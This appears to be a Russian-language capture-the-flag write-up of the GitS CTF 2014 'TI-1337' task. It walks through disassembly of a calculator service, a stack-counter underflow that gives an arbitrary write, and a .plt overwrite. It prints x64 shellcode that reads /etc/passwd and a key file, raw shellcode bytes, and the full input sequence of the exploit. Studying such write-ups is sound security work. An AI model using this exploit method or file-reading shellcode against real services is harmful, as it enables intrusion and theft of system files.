TI-1337 (Gits CTF 2014)

Find the key! File running at ti-1337.2014.ghostintheshellcode.com

В задании дана ссылка на сервис, который необходимо взломать, и исполняемый файл этого сервиса. Как обычно, задание категории PWN сводится к изучению бинарного файла, обнаружению в нем уязвимости и написанию эксплойта.

Прежде всего посмотрим с чем мы имеем дело:
file ti-5b1ab693bc0298f8da4b22612d1a7683ed55d93a
ti-5b1ab693bc0298f8da4b22612d1a7683ed55d93a: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x7fac404aa0ab03558c2458e8ffd61ec83f9516dc, stripped

Итак, дан 64-битный исполняемый файл под Linux. Сразу выясняем, что сервис использует учетную запись gambino (анализируем вызов getpwnam) и порт 31415 (анализируем вызов htons). Теперь можно полноценно экспериментировать на localhost.

Следующий вопрос – что делает сервис? При коннекте к нему, сервис ожидает ввода пользователя. При вводе цифровых данных сервис не выдает абсолютно ничего, но продолжает принимать ввод пользователя, при вводе произвольной строки получаем ошибку «Unknown op». При более детальном рассмотрении выясняется, что валидными символами также являются, например, +,-,*,/. Возникает предположение, что мы имеем дело с обычным калькулятором.

Какие еще операции допустимы? Несложно найти функцию, где происходит проверка ввода пользователя (например, по строке «Unknown op») — sub_401567. В начале функции виден механизм проверки ввода:
.text:00000000004015A8 movzx eax, [rbp+var_114]
.text:00000000004015AF movsx eax, al
.text:00000000004015B2 sub eax, 21h
.text:00000000004015B5 cmp eax, 50h
.text:00000000004015B8 ja loc_401876
.text:00000000004015BE mov eax, eax
.text:00000000004015C0 lea rdx, ds:0[rax*4]
.text:00000000004015C8 lea rax, unk_401A44
.text:00000000004015CF mov eax, [rdx+rax]
.text:00000000004015D2 movsxd rdx, eax
.text:00000000004015D5 lea rax, unk_401A44
.text:00000000004015DC add rax, rdx
.text:00000000004015DF jmp rax

Рассматриваются все символы с ASCII-кодом меньше 0x71. Имеет место массив констант (по адресу 0x401A44), которые далее преобразуются в адрес для jmp. Код символа определяет индекс в данном массиве. Jmp ведет к обработчику операции. Т.о. можно выяснить все возможные операции калькулятора и адреса их обработчиков.
При детальном рассмотрении обработчиков операций выясняются следующие интересные вещи:
1. Калькулятор использует собственный стек для хранения чисел.
2. Стек имеет фиксированный адрес в секции .bss — 0x603140 и размер 0x1008 байт.
3. Размер ячейки для хранения числа – 8 байт, т.е. калькулятор может хранить 512+1 qword.
4. Первый qword в стеке (по адресу 0x603140) используется для хранения счетчика текущего размера стека.
Полное описание операций калькулятора приведено в таблице:
+ | 0x4015E1 | Сложение двух значений из стека
— | 0x40160F | Вычитание двух значений из стека
* | 0x40165D | Умножение двух значений из стека
/ | 0x40168B | Деление двух значений из стека
^ | 0x4016D9 | Возведение в степень
! | 0x401766 | Проверка четности
. | 0x4017AE | Вывод на экран верхнего числа в стеке. Изменения стека не происходит
b | 0x4017F4 | Операция POP с выводом на экран
q | 0x401837 | Выход
c | 0x401852 | Очистка стека

Ну а теперь главный вопрос – где уязвимость? Даже если удастся переполнить собственный стек калькулятора, то это не приведет к выполнению кода, т.к. в .bss нет никаких адресов возврата. Однако мы можем использовать данную область памяти для передачи туда шеллкода (путем занесения чисел в память калькулятора). Адрес шеллкода будет постоянным и будет нам известен. Но как в таком случае передать на него управление?
Рассмотрим подробнее обработчик операции «+»:
.text:00000000004015E1 mov eax, 0
.text:00000000004015E6 call sub_4014EE
.text:00000000004015EB movsd [rbp+var_130], xmm0
.text:00000000004015F3 mov eax, 0
.text:00000000004015F8 call sub_4014EE
.text:00000000004015FD addsd xmm0, [rbp+var_130]
.text:0000000000401605 call sub_40149F
.text:000000000040160A jmp loc_40189A

Вначале два раза вызывается sub_4014EE, затем происходит суммирование и в конце вызывается sub_40149F. Таким образом первая функция представляет собой не что иное, как извлечение числа из стека калькулятора, а вторая – занесение в стек. Не правда ли интересно, что извлечение из стека происходит дважды, а занесение в стек – лишь один раз. А что будет, если в стеке находится только одно значение или он вообще пуст? Рассмотрим подробнее sub_4014EE:
.text:00000000004014EE push rbp
.text:00000000004014EF mov rbp, rsp
.text:00000000004014F2 lea rax, unk_603140
.text:00000000004014F9 mov rax, [rax]
.text:00000000004014FC test rax, rax
.text:00000000004014FF js short loc_40151B
.text:0000000000401501 lea rax, unk_603140
.text:0000000000401508 mov rdx, [rax]
.text:000000000040150B lea rax, unk_603140
.text:0000000000401512 mov rax, [rax+rdx*8+8]
.text:0000000000401517 mov [rbp+var_8], rax
.text:000000000040151B
.text:000000000040151B loc_40151B: ; CODE XREF: sub_4014EE+11j
.text:000000000040151B lea rax, unk_603140
.text:0000000000401522 mov rax, [rax]
.text:0000000000401525 lea rdx, [rax-1]
.text:0000000000401529 lea rax, unk_603140
.text:0000000000401530 mov [rax], rdx
.text:0000000000401533 mov rax, [rbp+var_8]
.text:0000000000401537 mov [rbp+var_18], rax
.text:000000000040153B movsd xmm0, [rbp+var_18]
.text:0000000000401540 pop rbp
.text:0000000000401541 retn

В функции мы видим следующее:
1. Из ячейки 0x603140 (счетчик количества элементов в стеке) считывается текущий размер стека.
2. По нему формируется смещение и извлекается число с верхушки стека.
3. Ячейка 0x603140 уменьшается на единицу.

Что же произойдет, если в стеке ничего нет, т.е. текущий размер стека — 0? В этом случае сработает условие по адресу 0x4014FF, из стека ничего извлечено не будет, но декремент счетчика размера стека (по адресу 0x603140) все равно произойдет и он станет отрицательным!
Что из этого мы можем извлечь? Теперь более детально рассмотрим функцию занесения в стек — sub_40149F:
.text:000000000040149F push rbp
.text:00000000004014A0 mov rbp, rsp
.text:00000000004014A3 movsd [rbp+var_8], xmm0
.text:00000000004014A8 lea rax, unk_603140
.text:00000000004014AF mov rax, [rax]
.text:00000000004014B2 cmp rax, 1FFh
.text:00000000004014B8 jg short loc_4014D2
.text:00000000004014BA lea rax, unk_603140
.text:00000000004014C1 mov rax, [rax]
.text:00000000004014C4 lea rdx, [rax+1]
.text:00000000004014C8 lea rax, unk_603140
.text:00000000004014CF mov [rax], rdx
.text:00000000004014D2
.text:00000000004014D2 loc_4014D2: ; CODE XREF: sub_40149F+19
.text:00000000004014D2 lea rax, unk_603140
.text:00000000004014D9 mov rcx, [rax]
.text:00000000004014DC lea rdx, unk_603140
.text:00000000004014E3 mov rax, [rbp+var_8]
.text:00000000004014E7 mov [rdx+rcx*8+8], rax
.text:00000000004014EC pop rbp
.text:00000000004014ED retn

В функции мы видим следующее:
1. Из ячейки 0x603140 (счетчик количества элементов в стеке) считывается текущий размер стека.
2. Ячейка 0x603140 увеличивается на единицу.
3. По новому размеру стека формируется смещение и по нему записывается результат операции.

Если перед операцией сложения в стеке ничего нет (0 по адресу 0x603140), то две операции извлечения из стека приведут к тому, что перед операцией добавления в стек счетчик размера будет равен -2. После инкремента счетчика значение станет равным -1, в результате чего запись результата операции будет проведено точно в ячейку счетчика (т.е. по адресу 0x603140). Т.к. результат операции мы можем контролировать, то мы можем записать в счетчик любое значение. Это приведет к тому, что при следующей операции записи в стек мы сможем контролировать смещение, а следовательно и адрес записи. Т.о. мы можем перезаписывать произвольные адреса памяти нужными нам данными. Конечно, адреса возврата в стеке мы не знаем, но есть еще доступная для записи секция .plt 😉

Итак, вырисовывается следующий сценарий эксплойта:
1. Заносим в память калькулятора необходимое количество значений, которые будут представлять собой шеллкод.
2. Описанным выше способом перезатираем счетчик чисел в стеке калькулятора по адресу 0x603140, в результате чего в счетчике формируется значение, указывающее на какую-либо функцию в секции .plt.
3. Заносим в стек число, которое является ни чем иным, как адресом нашего шеллкода. Благодаря значению в счетчике (0x603140), сформированному на шаге 2, адрес шеллкода запишется в секцию .plt.
4. Осуществляем действие, приводящее к вызову перезатертой функции из .plt, в результате чего управление передается нашему шеллкоду.

Сценарий легко осуществим, но вот незадача… Калькулятор оперирует числами в формате с плавающей запятой. Формирование таких чисел в памяти, в отличие от целых чисел, – достаточно сложный процесс и «подгадать» значения, которые будут соответствовать необходимому шеллкоду довольно трудоемкая задача. К счастью, в Сети быстро обнаружился сервис, который позволяет конвертировать формат с плавающей запятой в его бинарное представление, а также осуществлять обратный процесс. Т.о. зная байты нашего шеллкода, мы можем получить числа в формате с плавающей запятой, которые необходимо занести в память калькулятора.

Во время соревнований на этом этапе у меня возникла еще одна проблема — шеллкод… Обычно я использую шеллкод для чтения файлов, но такого под Linux_x64 я не обнаружил. Аналогичный шеллкод под Linux_x86 не подошел, т.к. в x64 другой формат системных вызовов. Пришлось переделывать x86 шеллкод под x64. Для чтения /etc/passwd получилось примерно следующее (nasm):
[bits 64]
section .text
global _start
_start:
xor rsi, rsi
xor rdx, rdx
mov rax, 2 ;sys_open
mov rcx, 0000000000647773h
push rcx
mov rcx, 7361702F6374652Fh ; /etc/passwd
push rcx
xor rcx, rcx
mov rdi, rsp
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0FFFh
syscall
xchg rax, rdx
mov rax, 1 ; sys_write
mov rdi, 4 ; OUT
syscall
.end:

В файле /etc/passwd ничего интересного обнаружено не было, а вот в файле key 😉
Финальный вид эксплойта для сервиса TI-1337:
1
1
-6.8285270344227859573254889651E-229
1.51811499608777691093473245394E-295
2.26033460103158677820371001887E-306
4.73751863817688432393081748267E-232
2.82113430270891476851117977319E42
1.96571259986900715422921295841E-236
3.65191672139008854895401988461E-314
7.03484044621407367665422546423E-309
c
3.72917036560008763884443262935E-155
3.72917036560008763884443262935E-155
+
+
+
3.11463726168521897415733062085E-317
.

Использованный шеллкод:
\x90\x90\x90\x90\x90\x90\x90\x90\x48\x31\xF6\x48\x31\xD2\xB8\x02\x00\x00\x00\xB9\x6B\x65\x79\x00\x51\x48\x31\xC9\x48\x89\xE7\x0F\x05\x48\x89\xC7\x48\x31\xC0\x48\x89\xE6\xBA\xFF\x0F\x00\x00\x0F\x05\x48\x92\xB8\x01\x00\x00\x00\xBF\x01\x00\x00\x00\x0F\x05

Flag: WhyDidTheChickenCrossTheMobiusStrip

P.S. Имхо, слишком круто для 100 баллов

Leave a Comment

Your email address will not be published.

Лимит времени истёк. Пожалуйста, перезагрузите CAPTCHA.